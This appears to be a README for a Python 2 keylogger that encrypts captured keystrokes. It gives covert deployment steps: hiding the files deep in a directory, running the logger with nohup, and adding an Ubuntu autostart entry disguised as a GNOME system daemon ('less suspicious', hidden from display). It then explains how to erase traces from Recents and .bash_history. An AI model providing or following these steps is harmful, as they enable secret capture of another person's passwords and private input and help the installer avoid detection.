An advance keylogger built using python2 that supports encryption of logged keystrokes using password.

How to deploy the keylogger?

Expected deploying time: 2 to 3 mins

  • Put the entire folder deep in any directory
  • Choose a location to store the output file (keystroke logs)
  • The following command fires up the keylogger
nohup python /location/to/file/pylogger.py [YOUR PASSWORD] /different/location/for/output/sys.conf

To automatically start the keylogger at boot time (in Ubuntu)

  • Go to '/etc/xdg/autostart/'
  • Create an [less suspicious] entry: 'org.gnome.SettingsDaemon.Sysconfig.desktop'
sudo gedit /etc/xdg/autostart org.gnome.SettingsDaemon.Sysconfig.desktop
  • Write the following content in the file
[Desktop Entry]
Type=Application
Name=SystemConfig
Exec=nohup python location/to/python/script.py [PASSWORD] /different/location/for/output/sys.conf
NoDisplay=true
Comment=Helper program for starting system apps
X-GNOME-Autostart-enabled=true

For security reason [clearing traces on the system]

  • Remove entries from "Recents" ---> ubuntu recents [Settings > Privacy > History]
  • Remove your commands from '.bash_history' file ---> terminal history
